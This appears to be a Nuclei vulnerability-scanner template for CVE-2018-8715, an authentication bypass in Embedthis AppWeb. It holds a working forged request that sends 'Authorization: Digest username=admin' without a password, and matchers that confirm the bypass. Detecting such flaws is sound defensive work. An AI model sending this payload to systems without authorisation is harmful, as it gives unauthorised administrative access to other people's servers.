id: CVE-2018-8715

info:
  name: AppWeb Authentication Bypass vulnerability
  author: milo2012
  severity: high
  description: The Embedthis HTTP library, and Appweb versions before 7.0.3, have a logic flaw related to the authCondition function in http/httpLib.c. With a forged HTTP request, it is possible to bypass authentication for the form and digest login types.
  tags: cve,cve2018,appweb,auth-bypass
  reference:
    - https://github.com/embedthis/appweb/issues/610

requests:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Accept: */*
        Accept-Language: en
        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
        Connection: close
        Authorization: Digest username=admin

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - '<a class="logo" href="https://embedthis.com/">&nbsp;</a>'
        part: body